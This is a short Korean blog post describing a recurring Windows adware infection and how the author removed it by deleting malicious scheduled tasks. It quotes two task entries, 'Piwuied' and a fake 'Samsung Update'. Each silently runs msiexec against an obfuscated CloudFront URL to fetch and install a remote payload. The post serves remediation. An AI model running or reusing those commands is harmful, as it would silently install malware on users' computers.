* 증상
    - 인터넷 브라우저 시작페이지 바뀜
    - 다양한 프로세스와 서비스가 자동 실행됨

C:\Windows\System32\svchost.exe -k Kitty -s
Kitty.dll
svchost.exe -k WinSAPSvc
svchost.exe -k SNARE
C:\Program Files (x86)\MIO\MIO.exe
C:\Windows\psgo\psgo.ps1
Antanna
{0BC3B616-092D-4303-86DE-CB69DC1E7C51}\_ALLOWDEL_32c8f


* 해결 방법
    - 바이러스 검사
        - Malwarebytes 로 검사
        - 하지만 이후에도 계속해서 주기적으로 감염된다

    - 작업스케줄러 설정
        (내컴퓨터 우클릭 -> 관리)
        - 시스템 도구 -> 작업 스케줄러 -> 작업 스케줄러 라이브러리
            - msiexec.exe 이후 인터넷 주소가 있는 작업을 찾아서 없앤다

<>
Piwuied
    msiexec /i  hTTp://D2bUH1bF1g584W.clOuDfroNt.net/mmtsk/occup.php?p=Samsuxxxxxxxxxxxxxxxxxxxxxx&d=20170409 /q



Samsung Update
    msiexec /i hTtP://D2Buh1bF1G584W.CLouDfRoNT.net/mmtsk/occup.php?p=Samsxxxxxxxxxxxxxxxxxxxxxxx&d=20170426 /q


//=================
//참고
Microsoft Sysinternals Suite의 Autoruns를 너무 철썩같이 믿다가 2~3주 고생


Farbar Recovery Scan Tool
https://www.bleepingcomputer.com/download/farbar-recovery-scan-tool/


반응형
Posted by codens